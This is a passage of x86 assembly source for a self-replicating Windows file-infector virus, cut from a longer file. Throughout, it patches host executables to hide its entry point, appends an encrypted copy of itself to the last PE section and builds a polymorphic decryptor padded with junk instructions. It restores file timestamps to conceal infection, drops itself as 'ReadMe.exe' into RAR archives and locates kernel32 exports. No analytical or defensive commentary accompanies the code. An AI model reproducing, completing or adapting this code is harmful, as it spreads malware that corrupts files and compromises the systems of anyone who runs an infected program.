;search for mov eax,fs:[00000000] in the code section
|
|
;and replace it with call virus_decryptor
|
|
pushad
|
|
push eax ;image base of the file in the memory
|
|
add eax,[eax + 3ch] ;eax - pointer to pe header
|
|
add eax,28h ;eax - point to the entry point
|
|
mov eax,[eax]
|
|
pop ebx
|
|
add eax,ebx ;eax -entry point va
|
|
cmp [ebp + file_alignment],200h
|
|
jne start_search
|
|
sub eax,0c00h ;fix bug
|
|
start_search: mov edx,64h ;we search the first 100 bytes after the entry point
|
|
next_search: cmp word ptr [eax],0A164h
|
|
jne move_to_next ;move to next 4 bytes
|
|
cmp dword ptr [eax + 2h],00000000 ;more op code
|
|
je mov_eax_fs_0_found
|
|
move_to_next: dec edx
|
|
cmp edx,0h
|
|
je remove_mem_and_unmap
|
|
inc eax
|
|
jmp next_search
|
|
remove_mem_and_unmap:
|
|
popad
|
|
jmp canot_infect_file
|
|
mov_eax_fs_0_found:
|
|
;eax - pointer to mov eax,fs:[00000000]
|
|
;replace mov eax,fs:[00000000] with call virus_decryptor
|
|
mov edx,[ebp + where_to_write_decryptor]
|
|
push eax
|
|
sub edx,eax
|
|
sub edx,5h
|
|
pop ebx
|
|
push edx
|
|
call [ebp + _GetTickCount]
|
|
cmp al,7fh
|
|
ja epo2
|
|
call _get_byte
|
|
mov byte ptr [ebx],al
|
|
mov byte ptr [ebx + 1h],0e8h
|
|
pop edx
|
|
dec edx
|
|
mov dword ptr [ebx + 2h],edx
|
|
jmp epo_ok
|
|
epo2: mov byte ptr [ebx],0e8h
|
|
pop edx
|
|
mov dword ptr [ebx + 1h],edx
|
|
call _get_byte
|
|
mov byte ptr [ebx + 5h],al
|
|
epo_ok: popad
|
|
;lets update the virtual size in the code section
|
|
mov ecx,[ebx + 8h]
|
|
add ecx,loader_size
|
|
add ecx,[ebp + free_space]
|
|
mov [ebx + 8h],ecx
|
|
pop ebx
|
|
pop eax
|
|
;lets add virus code to the end of the last section
|
|
mov ecx,[ebp + number_directories_entries]
|
|
shl ecx,3h ; 2^3=8(directory size)
|
|
mov ebx,eax ;ebx point to pe header
|
|
add ebx,78h ;ebx=pe header + optional pe header
|
|
add ebx,ecx ;ebx=first section header
|
|
push eax ;save eax(eax point to pe header)
|
|
xor eax,eax
|
|
xor ecx,ecx
|
|
mov ax,[ebp + number_of_sections]
|
|
dec ax
|
|
mov cx,28h
|
|
mul cx ;eax=number of sections-1 * size of section header
|
|
add ebx,eax ;ebx point now to the last section header
|
|
pop eax ;restore eax
|
|
;ebx=last section header
|
|
;eax=pe header
|
|
push ebx
|
|
mov [ebp + last_section],ebx
|
|
add ebx,8h ;[ebx]=virtual size
|
|
mov ecx,[ebx]
|
|
add ecx,virus_size ;ecx=size of virus + virtual size
|
|
mov [ebx],ecx ;set new VirtualSize
|
|
xor edx,edx
|
|
push eax ;save eax
|
|
xchg ecx,eax
|
|
mov ecx,[ebp + file_alignment]
|
|
div cx
|
|
sub ecx,edx
|
|
mov eax,[ebx] ;eax=virtual size
|
|
add eax,ecx
|
|
mov ebx,[ebp + last_section]
|
|
add ebx,10h
|
|
mov [ebx],eax ;set new SizeOfRawData
|
|
add ebx,14h
|
|
;set new section flags
|
|
or dword ptr [ebx],00000020h ;code
|
|
or dword ptr [ebx],40000000h ;readable
|
|
or dword ptr [ebx],80000000h ;writeable
|
|
pop eax
|
|
pop ebx
|
|
;copy virus to the last section of the host
|
|
mov ecx,[ebp + map_base]
|
|
add ecx,[ebx + 08h]
|
|
add ecx,[ebx + 14h]
|
|
sub ecx,virus_size
|
|
xchg edi,ecx ;location to copy the virus
|
|
push eax
|
|
lea esi,[ebp + Astrix]
|
|
push esi
|
|
push edi
|
|
push edi
|
|
;copy virus and encode it with 2 layers
|
|
mov ecx,virus_size
|
|
rep movsb
|
|
pop edi
|
|
add edi,(start_ecrypt-Astrix)
|
|
mov esi,edi
|
|
mov ecx,(decrypt_virus-start_ecrypt)
|
|
encrypt: lodsb
|
|
push ecx
|
|
mov cl,byte ptr [ebp + mov_cl_key+1]
|
|
rol al,cl
|
|
xor al,byte ptr [ebp + xor_al_key+1]
|
|
pop ecx
|
|
stosb
|
|
loop encrypt
|
|
pop edi
|
|
pop esi
|
|
mov esi,edi
|
|
mov ecx,(virus_size/2)
|
|
encrypt2: lodsw
|
|
rol ah,1h
|
|
xor ax,word ptr [ebp + xor_ax_key+2]
|
|
ror ax,cl
|
|
add al,cl
|
|
stosw
|
|
loop encrypt2
|
|
pop eax
|
|
;set new entry point in the virus decryptor!:
|
|
mov ecx,[ebx + 0ch]
|
|
add ecx,[ebx + 08h]
|
|
sub ecx,virus_size
|
|
add ecx,[ebp + host_image_base]
|
|
mov dword ptr [ebp + mov_esi_virus_ep+1],ecx
|
|
;create a (lame)polymorphic virus decryptor between the code section and the next section
|
|
mov edi,[ebp + where_to_write_decryptor]
|
|
push edi
|
|
push eax
|
|
call write_junk_code
|
|
mov byte ptr [edi],60h ;pushad
|
|
inc edi
|
|
dec [ebp + free_space]
|
|
call write_junk_code
|
|
call [ebp + _GetTickCount]
|
|
and eax,5ah
|
|
cmp al,1eh
|
|
ja next_ins
|
|
mov byte ptr [edi],68h ;push
|
|
inc edi
|
|
mov ebx,dword ptr [ebp + vl_cmd1 + 1h]
|
|
mov dword ptr [edi],ebx
|
|
add edi,4h
|
|
sub [ebp + free_space],5h
|
|
call write_junk_code
|
|
mov byte ptr [edi],5eh ;pop esi
|
|
inc edi
|
|
dec [ebp + free_space]
|
|
jmp next_ins3
|
|
next_ins: cmp al,3ch
|
|
ja next_ins2
|
|
mov ebx,dword ptr [ebp + vl_cmd1]
|
|
mov [edi],ebx
|
|
add edi,4h
|
|
sub [ebp + free_space],4h
|
|
mov bl,byte ptr [ebp + vl_cmd1 + 4h]
|
|
mov byte ptr [edi],bl
|
|
inc edi
|
|
sub [ebp + free_space],5h
|
|
jmp next_ins3
|
|
next_ins2: call [ebp + _GetTickCount]
|
|
cmp al,7fh
|
|
ja put_sub
|
|
mov word ptr [edi],0f633h ;xor esi,esi
|
|
jmp sub_ok
|
|
put_sub: mov word ptr [edi],0f62bh ;sub esi,esi
|
|
sub_ok: add edi,2h
|
|
call write_junk_code
|
|
mov word ptr [edi],0f681h ;xor esi
|
|
mov ebx,dword ptr [ebp + vl_cmd1 + 1h]
|
|
mov dword ptr [edi + 2h],ebx
|
|
add edi,6h
|
|
sub [ebp + free_space],8h
|
|
next_ins3: call write_junk_code
|
|
call [ebp + _GetTickCount]
|
|
cmp al,7fh
|
|
ja next_ins4
|
|
mov bl,byte ptr [ebp + vl_cmd2]
|
|
mov byte ptr [edi],bl
|
|
inc edi
|
|
dec [ebp + free_space]
|
|
jmp next_ins5
|
|
next_ins4: mov byte ptr [edi],68h ;push
|
|
inc edi
|
|
mov ebx,dword ptr [ebp + vl_cmd1 + 1h]
|
|
mov dword ptr [edi],ebx
|
|
add edi,4h
|
|
sub [ebp + free_space],5h
|
|
next_ins5: call write_junk_code
|
|
call [ebp + _GetTickCount]
|
|
cmp al,7fh
|
|
ja next_ins6
|
|
mov byte ptr [edi],68h ;push
|
|
inc edi
|
|
mov ebx,dword ptr [ebp + vl_cmd1 + 1h]
|
|
mov dword ptr [edi],ebx
|
|
add edi,4h
|
|
mov byte ptr [edi],5fh ;pop edi
|
|
inc edi
|
|
sub [ebp + free_space],5h
|
|
jmp next_ins7
|
|
next_ins6: mov bx,word ptr [ebp + vl_cmd3]
|
|
mov word ptr [edi],bx
|
|
add edi,2h
|
|
sub [ebp + free_space],2h
|
|
next_ins7: call write_junk_code
|
|
call [ebp + _GetTickCount]
|
|
cmp al,7fh
|
|
ja next_ins8
|
|
mov ebx,dword ptr [ebp + vl_cmd4]
|
|
mov dword ptr [edi],ebx
|
|
add edi,4h
|
|
mov bl,byte ptr[ebp + vl_cmd4 + 4h]
|
|
mov byte ptr [edi],bl
|
|
push edi
|
|
inc edi
|
|
sub [ebp + free_space],5h
|
|
jmp next_ins9
|
|
next_ins8: mov byte ptr [edi],0b9h
|
|
mov dword ptr [edi + 1h],not (virus_size/2)
|
|
add edi,5h
|
|
call write_junk_code
|
|
mov word ptr [edi],0d1f7h ;not ecx
|
|
inc edi
|
|
push edi
|
|
inc edi
|
|
sub [ebp + free_space],7h
|
|
next_ins9: call write_junk_code
|
|
call [ebp + _GetTickCount]
|
|
cmp al,7fh
|
|
jb put_lods
|
|
;write mov ax,word ptr [esi]
|
|
mov byte ptr [edi],66h
|
|
inc edi
|
|
mov byte ptr [edi],8bh
|
|
inc edi
|
|
mov byte ptr [edi],06h
|
|
inc edi
|
|
call write_junk_code
|
|
;write add esi,2h
|
|
mov byte ptr [edi],83h
|
|
inc edi
|
|
mov byte ptr [edi],0c6h
|
|
inc edi
|
|
mov byte ptr [edi],02h
|
|
inc edi
|
|
jmp ___1
|
|
put_lods: mov bx,word ptr [ebp + vl_cmd5]
|
|
mov word ptr [edi],bx
|
|
add edi,2h
|
|
sub [ebp + free_space],2h
|
|
___1: call write_junk_code
|
|
mov bx,word ptr [ebp + vl_cmd6]
|
|
mov word ptr [edi],bx
|
|
add edi,2h
|
|
sub [ebp + free_space],2h
|
|
call write_junk_code
|
|
mov ebx,dword ptr [ebp + vl_cmd7]
|
|
mov dword ptr [edi],ebx
|
|
add edi,3h
|
|
sub [ebp + free_space],3h
|
|
call write_junk_code
|
|
mov ebx,dword ptr [ebp + vl_cmd8]
|
|
mov dword ptr [edi],ebx
|
|
add edi,4h
|
|
sub [ebp + free_space],4h
|
|
call write_junk_code
|
|
mov bx,word ptr [ebp + vl_cmd9]
|
|
mov word ptr [edi],bx
|
|
add edi,2h
|
|
sub [ebp + free_space],2h
|
|
call write_junk_code
|
|
call [ebp + _GetTickCount]
|
|
cmp al,7fh
|
|
ja stos_
|
|
;build mov word ptr [edi],ax
|
|
mov byte ptr [edi],66h
|
|
inc edi
|
|
mov byte ptr [edi],89h
|
|
inc edi
|
|
mov byte ptr [edi],7h
|
|
inc edi
|
|
sub [ebp + free_space],3h
|
|
call write_junk_code
|
|
;build add edi,2h
|
|
mov byte ptr [edi],83h
|
|
inc edi
|
|
mov byte ptr [edi],0c7h
|
|
inc edi
|
|
mov byte ptr [edi],2h
|
|
inc edi
|
|
sub [ebp + free_space],3h
|
|
jmp _1
|
|
stos_: mov ax,word ptr [ebp + vl_cmd10]
|
|
stosw
|
|
sub [ebp + free_space],2h
|
|
_1: call write_junk_code
|
|
; build loop offset:
|
|
mov bl,byte ptr [ebp + vl_cmd11]
|
|
mov byte ptr [edi],bl
|
|
inc edi
|
|
pop ecx
|
|
mov ebx,edi
|
|
sub ecx,ebx
|
|
mov byte ptr [edi],cl
|
|
inc edi
|
|
sub [ebp + free_space],4h
|
|
call write_junk_code
|
|
mov bx,word ptr [ebp + vl_cmd12]
|
|
mov word ptr [edi],bx
|
|
add edi,2h
|
|
mov bl,byte ptr [ebp + vl_cmd12+2h]
|
|
mov byte ptr [edi],bl
|
|
inc edi
|
|
sub [ebp + free_space],3h
|
|
call write_junk_code
|
|
mov bx,word ptr [ebp + vl_cmd13]
|
|
mov word ptr [edi],bx
|
|
add edi,2h
|
|
mov bl,byte ptr [ebp + vl_cmd13+2h]
|
|
mov byte ptr [edi],bl
|
|
inc edi
|
|
sub [ebp + free_space],3h
|
|
call write_junk_code
|
|
call [ebp + _GetTickCount]
|
|
cmp al,7fh
|
|
ja exception1
|
|
mov word ptr [edi],0f1f7h ;div ecx
|
|
jmp end_exception
|
|
exception1: mov bx,word ptr [ebp + vl_cmd14]
|
|
mov word ptr [edi],bx
|
|
end_exception: add edi,2h
|
|
sub [ebp + free_space],2h
|
|
call write_junk_code
|
|
;add more junk code after the virus decryptor
|
|
call [ebp + _GetTickCount]
|
|
mov ecx,[ebp + free_space]
|
|
more_junk: ror eax,cl
|
|
stosd
|
|
loop more_junk
|
|
;finish infection
|
|
pop eax
|
|
pop ecx
|
|
push FILE_BEGIN
|
|
push 0h
|
|
mov eax,[ebp + nFileSizeLow]
|
|
add eax,virus_size
|
|
call pad_size
|
|
push eax
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _SetFilePointer]
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _SetEndOfFile]
|
|
inc [ebp + infection_counter]
|
|
error_unmap:
|
|
;remove SEH
|
|
pop dword ptr fs:[0]
|
|
add esp,4h
|
|
popad
|
|
_error_unmap: push [ebp + map_base]
|
|
call [ebp + _UnmapViewOfFile]
|
|
error_close_map:
|
|
push [ebp + map_handle]
|
|
call [ebp + _CloseHandle]
|
|
error_close_file:
|
|
lea eax,[ebp + last_write_time]
|
|
push eax
|
|
lea eax,[ebp + last_access_time]
|
|
push eax
|
|
lea eax,[ebp + creation_time]
|
|
push eax
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _SetFileTime]
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _CloseHandle]
|
|
error:
|
|
lea ebx,[ebp + cFileName]
|
|
push [ebp + file_old_attributes]
|
|
push ebx
|
|
call [ebp + _SetFileAttributes]
|
|
error_1:
|
|
ret
|
|
_infection_error_handle:
|
|
mov esp,[esp + 8h]
|
|
pop dword ptr fs:[0]
|
|
add esp,4h
|
|
popad
|
|
jmp _error_unmap
|
|
write_junk_code: ;simple & lame poly
|
|
cmp [ebp + free_space],0bh
|
|
jbe exit_junk
|
|
call random_number
|
|
cmp al,7fh
|
|
ja write_junk2
|
|
call random_number
|
|
and eax,1eh
|
|
mov ecx,4h
|
|
mul ecx
|
|
xchg ecx,eax
|
|
lea eax,[ebp + junk_code_4]
|
|
add eax,ecx
|
|
mov eax,[eax]
|
|
stosd
|
|
jmp exit_junk
|
|
write_junk2:
|
|
call random_number
|
|
and eax,1eh
|
|
mov ecx,2h
|
|
mul ecx
|
|
xchg ecx,eax
|
|
lea eax,[ebp + junk_code_2]
|
|
add eax,ecx
|
|
mov ax,word ptr [eax]
|
|
stosw
|
|
call random_number
|
|
cmp al,7fh
|
|
jb exit_junk
|
|
write_junk:
|
|
and eax,4h
|
|
xchg eax,ecx
|
|
lea eax,[ebp + junk_code]
|
|
add eax,ecx
|
|
mov al,byte ptr [eax]
|
|
stosb
|
|
exit_junk: ret
|
|
junk_code_4:
|
|
db 0d1h,0c8h,0d1h,0c0h ;ror\rol eax,1
|
|
db 0f7h,0d8h,0f7h,0d8h ;neg eax,neg eax
|
|
db 33h,0c3h,33h,0c3h ;xor eax,ebx
|
|
db 0ebh,0h,90h,90h ;jmp-> nop,nop
|
|
db 90h,0f9h,90h,0f8h ;nop,stc,nop,clc
|
|
db 60h,61h,23h,0c9h ;and ecx,ecx,pushad\popad
|
|
db 0f7h,0d0h,0f7h,0d0h ;not eax,not eax
|
|
db 0d3h,0dbh,0d3h,0d3h ;rcr\rcl ebx,cl
|
|
db 33h,0c8h,33h,0c8h ;xor ecx,eax
|
|
db 23h,0edh,51h,59h ;and ebp,ebp,push\pop ecx
|
|
db 90h,9ch,90h,9dh ;nop,nop...
|
|
db 40h,48h,50h,58h ;inc\dec eax,push\pop eax
|
|
db 91h,91h,48h,40h ;xchg eax,ecx,dec\inc eax
|
|
db 53h,05bh,93h,93h ;push\pop ebx,xchg eax,ebx
|
|
db 23h,0c0h,51h,59h ;and eax,eax,push\pop ecx
|
|
db 0ebh,0h,0f9h,0f8h ;jmp-> stc,clc
|
|
junk_code_2:
|
|
db 50h,58h ;push\pop eax
|
|
db 0ebh,0h ;jmp
|
|
db 23h,0e4h ;and esp,esp
|
|
db 23h,0f6h ;and esi,esi
|
|
db 55h,5dh ;push\pop ebp
|
|
db 0f8h,0f9h ;clc\stc
|
|
db 22h,0dbh ;and bl,bl
|
|
db 0f9h,90h ;stc,nop
|
|
db 0d9h,0d0h ;fnop
|
|
db 70h,0h ;jo
|
|
db 71h,0h ;jno
|
|
db 72h,0h ;jc
|
|
db 73h,0h ;jae
|
|
db 74h,0h ;jz
|
|
db 75h,0h ;jne
|
|
db 76h,0h ;jna
|
|
db 77h,0h ;ja
|
|
db 78h,0h ;js
|
|
db 79h,0h ;jns
|
|
db 7ah,0h ;jp
|
|
db 7bh,0h ;jnp
|
|
db 7ch,0h ;jl
|
|
db 7dh,0h ;jnl
|
|
db 7eh,0h ;jle
|
|
db 7fh,0h ;jg
|
|
db 0e3h,0h ;jecxz
|
|
db 90h,0f8h ;nop\clc
|
|
db 47h,4fh ;inc\dec edi
|
|
db 23h,0ffh ;and edi,edi
|
|
db 23h,0d2h ;and edx,edx
|
|
junk_code:
|
|
db 90h ;nop
|
|
db 0f8h ;clc
|
|
db 0f9h ;stc
|
|
db 0fch ;cld
|
|
db 0f5h ;cmc
|
|
canot_infect_file:
|
|
pop eax ;restore stack
|
|
pop eax
|
|
cant_infect: push FILE_BEGIN
|
|
push 0h
|
|
mov eax,[ebp + nFileSizeLow]
|
|
call pad_size
|
|
push eax
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _SetFilePointer]
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _SetEndOfFile]
|
|
jmp error_unmap
|
|
;eax - file size
|
|
pad_size:
|
|
push eax
|
|
xor edx,edx
|
|
mov ecx,65h ;101d
|
|
div ecx
|
|
cmp edx,0h
|
|
je no_pad
|
|
sub ecx,edx
|
|
xchg ecx,edx
|
|
no_pad: pop eax
|
|
add eax,edx
|
|
ret
|
|
|
|
;return random one byte instruction in eax
|
|
_get_byte: push ebx
|
|
call [ebp + _GetTickCount]
|
|
cmp al,32h
|
|
ja byte1
|
|
mov eax,90h
|
|
jmp end_get_byte
|
|
byte1: cmp al,64h
|
|
ja byte2
|
|
mov eax,0f8h
|
|
jmp end_get_byte
|
|
byte2: cmp al,96h
|
|
ja byte3
|
|
mov eax,0f5h
|
|
jmp end_get_byte
|
|
byte3: cmp al,0c8h
|
|
ja byte4
|
|
mov eax,0f9h
|
|
jmp end_get_byte
|
|
byte4: mov eax,0fch
|
|
end_get_byte: pop ebx
|
|
ret
|
|
|
|
|
|
infect_rar:
|
|
|
|
;do not infect files that are bigger than 3mb
|
|
cmp [ebp + nFileSizeLow],300000h
|
|
ja rar_infect_err
|
|
mov ebx,[ebp + dwFileAttributes]
|
|
mov [ebp + file_old_attributes],ebx
|
|
lea ebx,[ebp + cFileName]
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push ebx
|
|
call [ebp + _SetFileAttributes]
|
|
cmp eax,0h
|
|
je rar_infect_err
|
|
;allocate memory & create crc table
|
|
push SizeOfTable
|
|
push GPTR
|
|
call [ebp + _GlobalAlloc]
|
|
cmp eax,0h
|
|
je rar_infect_err
|
|
mov dword ptr [ebp + crc_table],eax
|
|
call create_crc_table
|
|
_infect_rar: ;get the infected file name
|
|
push 0ffh
|
|
lea eax,[ebp + infected_file]
|
|
push eax
|
|
push 0h
|
|
call [ebp + _GetModuleFileName]
|
|
cmp eax,0h
|
|
je rar_infect_err
|
|
;open the infected file
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push OPEN_EXISTING
|
|
push eax
|
|
push FILE_SHARE_READ
|
|
push GENERIC_READ
|
|
lea eax,[ebp + infected_file]
|
|
push eax
|
|
call [ebp + _CreateFile]
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je rar_infect_err
|
|
mov dword ptr [ebp + file_handle1],eax
|
|
;get the infected file size
|
|
push 0h
|
|
push eax
|
|
call [ebp + _GetFileSize]
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je rar_infect_err
|
|
mov dword ptr [ebp + dropper_size],eax
|
|
;create file mapping object for the dropper
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push PAGE_READONLY
|
|
push eax
|
|
push dword ptr [ebp + file_handle1]
|
|
call [ebp + _CreateFileMapping]
|
|
cmp eax,0h
|
|
je rar_close_file
|
|
mov dword ptr [ebp + map_handle1],eax
|
|
;map view of file:
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push FILE_MAP_READ
|
|
push dword ptr [ebp + map_handle1]
|
|
call [ebp + _MapViewOfFile]
|
|
cmp eax,0h
|
|
je rar_close_map
|
|
mov dword ptr [ebp + map_base1],eax
|
|
;open the rar file
|
|
lea ebx,[ebp + cFileName]
|
|
call open_file
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je rar_unmap1
|
|
mov dword ptr [ebp + opened_file_handle],eax
|
|
mov eax,[ebp + nFileSizeLow]
|
|
add eax,[ebp + dropper_size]
|
|
add eax,RarHeaderSize
|
|
sub eax,7h
|
|
push eax ;save new size of rar
|
|
;create file mapping of the rar file
|
|
call create_map
|
|
cmp eax,0h
|
|
je rar_close_file1
|
|
mov dword ptr [ebp + map_handle],eax
|
|
;map view of rar file
|
|
pop eax
|
|
call map_view
|
|
cmp eax,0h
|
|
je rar_close_map1
|
|
mov dword ptr [ebp + map_base],eax
|
|
;check if the rar file is valid rar archive
|
|
cmp dword ptr [eax],"!raR"
|
|
jne canot_infect_rar
|
|
;check if the rar is already infected:
|
|
cmp byte ptr [eax + 0fh],01h
|
|
je canot_infect_rar
|
|
;start to infect the rar file:
|
|
;get crc32 of the infected dropper:
|
|
mov edi,[ebp + dropper_size]
|
|
mov esi,[ebp + map_base1]
|
|
call get_crc
|
|
mov dword ptr [ebp + FILE_CRC],eax
|
|
;set random time\data in the rar header:
|
|
mov eax,dword ptr [ebp + ftCreationTime + 4]
|
|
mov dword ptr [ebp + FTIME],eax
|
|
;set size of dropper in the rar header:
|
|
mov eax,[ebp + dropper_size]
|
|
mov [ebp + PACK_SIZE],eax
|
|
mov [ebp + UNP_SIZE],eax
|
|
;set the crc of the rar header in the rar header:
|
|
lea esi,[ebp + headcrc]
|
|
mov edi,(EndRarHeader-RarHeader-2)
|
|
call get_crc
|
|
mov word ptr [ebp + HEAD_CRC],ax
|
|
;write the rar header:
|
|
lea esi,[ebp + RarHeader]
|
|
mov edi,[ebp + map_base]
|
|
add edi,[ebp + nFileSizeLow]
|
|
sub edi,7h ;overwrite the end of archive sign
|
|
push edi
|
|
mov ecx,RarHeaderSize
|
|
rep movsb
|
|
;write the infected dropper:
|
|
mov esi,[ebp + map_base1]
|
|
pop edi
|
|
add edi,RarHeaderSize
|
|
mov ecx,[ebp + dropper_size]
|
|
rep movsb
|
|
;mark the file as infected:
|
|
mov eax,dword ptr [ebp + map_base]
|
|
push eax
|
|
inc byte ptr [eax + 0fh] ;reserved1
|
|
mov esi,eax
|
|
add esi,9h
|
|
mov edi,0bh
|
|
call get_crc ;get crc32 of the main rar header
|
|
pop ebx
|
|
mov word ptr [ebx + 7h],ax ;[ebx + 7h]=HEAD_CRC
|
|
unmap_rar: push dword ptr [ebp + map_base]
|
|
call [ebp + _UnmapViewOfFile]
|
|
rar_close_map1:
|
|
push dword ptr [ebp + map_handle]
|
|
call [ebp + _CloseHandle]
|
|
rar_close_file1:
|
|
push dword ptr [ebp + opened_file_handle]
|
|
call [ebp+ _CloseHandle]
|
|
rar_unmap1:
|
|
push dword ptr [ebp + map_base1]
|
|
call [ebp + _UnmapViewOfFile]
|
|
rar_close_map:
|
|
push dword ptr [ebp + map_handle1]
|
|
call [ebp + _CloseHandle]
|
|
rar_close_file:
|
|
push dword ptr [ebp + file_handle1]
|
|
call [ebp + _CloseHandle]
|
|
lea ebx,[ebp + cFileName]
|
|
push [ebp + file_old_attributes]
|
|
push ebx
|
|
call [ebp + _SetFileAttributes]
|
|
rar_infect_err:
|
|
;free the crc32 table memory
|
|
push dword ptr [ebp + crc_table]
|
|
call [ebp + _GlobalFree]
|
|
ret
|
|
canot_infect_rar:
|
|
push FILE_BEGIN
|
|
push 0h
|
|
push dword ptr [ebp + nFileSizeLow]
|
|
push dword ptr [ebp + opened_file_handle]
|
|
call [ebp + _SetFilePointer]
|
|
push dword ptr [ebp + opened_file_handle]
|
|
call [ebp + _SetEndOfFile]
|
|
jmp unmap_rar
|
|
;create a crc32 table
|
|
create_crc_table:
|
|
mov edi,dword ptr [ebp + crc_table]
|
|
xor ecx,ecx
|
|
@2: push ecx
|
|
mov eax,ecx
|
|
mov ecx,8h
|
|
@1: mov edx,eax
|
|
and edx,1h
|
|
jne equ_1
|
|
shr eax,1h
|
|
jmp __1
|
|
equ_1: shr eax,1h
|
|
xor eax,polynomial
|
|
__1: loop @1
|
|
stosd
|
|
pop ecx
|
|
inc ecx
|
|
cmp ecx,100h
|
|
jb @2
|
|
ret
|
|
get_crc:
|
|
;edi - data size
|
|
;esi - start address
|
|
xor ecx,ecx
|
|
mov ebx,0ffffffffh
|
|
@crc: push ecx
|
|
xor eax,eax
|
|
lodsb
|
|
mov edx,ebx
|
|
shr ebx,8h
|
|
push ebx
|
|
xchg edx,ebx
|
|
and ebx,0ffh
|
|
xor ebx,eax
|
|
xchg eax,ebx
|
|
mov ecx,4h
|
|
mul ecx
|
|
xchg eax,ebx
|
|
mov eax,dword ptr [ebp + crc_table]
|
|
add eax,ebx
|
|
mov eax,dword ptr [eax]
|
|
pop ebx
|
|
xor eax,ebx
|
|
mov ebx,eax
|
|
pop ecx
|
|
inc ecx
|
|
cmp ecx,edi
|
|
jb @crc
|
|
not eax
|
|
ret
|
|
|
|
SizeOfTable equ 400h
|
|
polynomial equ 0edb88320h
|
|
dropper_size dd 0
|
|
file_handle1 dd 0
|
|
map_handle1 dd 0
|
|
map_base1 dd 0
|
|
crc_table_created db 0
|
|
crc_table dd 0
|
|
|
|
;---------------RAR Header---------------
|
|
RarHeader:
|
|
HEAD_CRC dw 0h
|
|
headcrc:HEAD_TYPE db 74h
|
|
HEAD_FLAGS dw 8000h ;normal flag
|
|
HEAD_SIZE dw RarHeaderSize
|
|
PACK_SIZE dd 0h
|
|
UNP_SIZE dd 0h
|
|
HOST_OS db 0h ;Ms-Dos
|
|
FILE_CRC dd 0h
|
|
FTIME dd 0h
|
|
UNP_VER db 14h
|
|
METHOD db 30h ;storing
|
|
NAME_SIZE dw 0ah ;file name size
|
|
endhcrc:ATTR dd 0h
|
|
FILE_NAME db "ReadMe.exe"
|
|
EndRarHeader:
|
|
RarHeaderSize equ (EndRarHeader-RarHeader)
|
|
;----------------------------------------
|
|
|
|
;open file with read\write access:
|
|
;ebx - address of filename
|
|
open_file:
|
|
xor eax,eax
|
|
push eax
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push OPEN_EXISTING
|
|
push eax
|
|
push eax
|
|
push GENERIC_READ or GENERIC_WRITE
|
|
push ebx
|
|
call [ebp + _CreateFile]
|
|
ret
|
|
;create file mapping object
|
|
;eax - size of map or zero
|
|
create_map:
|
|
xor edx,edx
|
|
push edx
|
|
push eax
|
|
push edx
|
|
push PAGE_READWRITE
|
|
push edx
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _CreateFileMapping]
|
|
ret
|
|
;map view of file:
|
|
;eax - size of map or zero
|
|
map_view:
|
|
push eax
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push FILE_MAP_WRITE
|
|
push [ebp + map_handle]
|
|
call [ebp + _MapViewOfFile]
|
|
ret
|
|
get_apis:
|
|
;ecx - number of apis
|
|
;eax - address to api strings
|
|
;ebx - address to api address
|
|
;edx - module handle
|
|
next_api: push ecx
|
|
push edx
|
|
push eax
|
|
push eax
|
|
push edx
|
|
call [ebp + _GetProcAddress]
|
|
cmp eax,0h
|
|
je cant_get_apis
|
|
mov dword ptr [ebx],eax
|
|
pop eax
|
|
;start to get the next string:
|
|
next_string: inc eax
|
|
cmp byte ptr [eax],0h
|
|
jne next_string
|
|
inc eax
|
|
add ebx,4h
|
|
pop edx
|
|
pop ecx
|
|
loop next_api
|
|
stc
|
|
ret
|
|
cant_get_apis: add esp,0ch
|
|
clc
|
|
ret
|
|
;Find Kernel Base Address
|
|
;************************
|
|
find_kernel:
|
|
mov eax,0bff70000h ;win9X
|
|
call search_kernel
|
|
jc kernel_is_founded
|
|
mov eax,0bff60000h ;winME
|
|
call search_kernel
|
|
jc kernel_is_founded
|
|
mov eax,804d4000h ;winXP
|
|
call search_kernel
|
|
jc kernel_is_founded
|
|
mov eax,77f00000h ;winNT
|
|
call search_kernel
|
|
jc kernel_is_founded
|
|
mov eax,77e70000h ;win2K
|
|
call search_kernel
|
|
jc kernel_is_founded
|
|
clc
|
|
ret
|
|
kernel_is_founded:
|
|
stc
|
|
ret
|
|
search_kernel:
|
|
pushad
|
|
lea ebx,[ebp + k32find_err]
|
|
push ebx
|
|
push dword ptr fs:[0] ;set SEH
|
|
mov fs:[0],esp
|
|
xor ax,ax
|
|
mov ebx,eax
|
|
next_page: cmp word ptr [eax],"ZM"
|
|
jne move_to_next_pg
|
|
mov ebx,eax
|
|
add eax,[eax + 3ch]
|
|
cmp word ptr [eax],"EP"
|
|
je kernel_ok
|
|
move_to_next_pg:xchg eax,ebx
|
|
sub eax,1000h
|
|
jnz next_page
|
|
kernel_ok: pop dword ptr fs:[0] ;remove SEH
|
|
add esp,4h
|
|
xchg eax,ebx
|
|
mov [ebp + kernel_base],eax
|
|
popad
|
|
stc
|
|
ret
|
|
k32find_err: mov esp,[esp + 8h]
|
|
pop dword ptr fs:[0] ;remove SEH
|
|
add esp,4h
|
|
popad
|
|
clc
|
|
ret
|
|
;get the GetProcAddress API
|
|
;*******************************
|
|
get_proc_addr:
|
|
mov eax,[ebp + offset kernel_base]
|
|
add eax,[eax + 3ch]
|
|
mov eax,[eax + 78h] ;eax point to export table !
|
|
add eax,[ebp + offset kernel_base]
|
|
mov ebx,[eax + 14h] ;get the numbers of exported functions
|
|
mov [ebp + numbers_of_exported_apis],ebx ;save it
|
|
mov ebx,[eax + 1Ch]
|
|
add ebx,[ebp + offset kernel_base] ; get address of api addresses array
|
|
mov [ebp + address_of_apis],ebx ; save it
|
|
mov ebx,[eax + 20h]
|
|
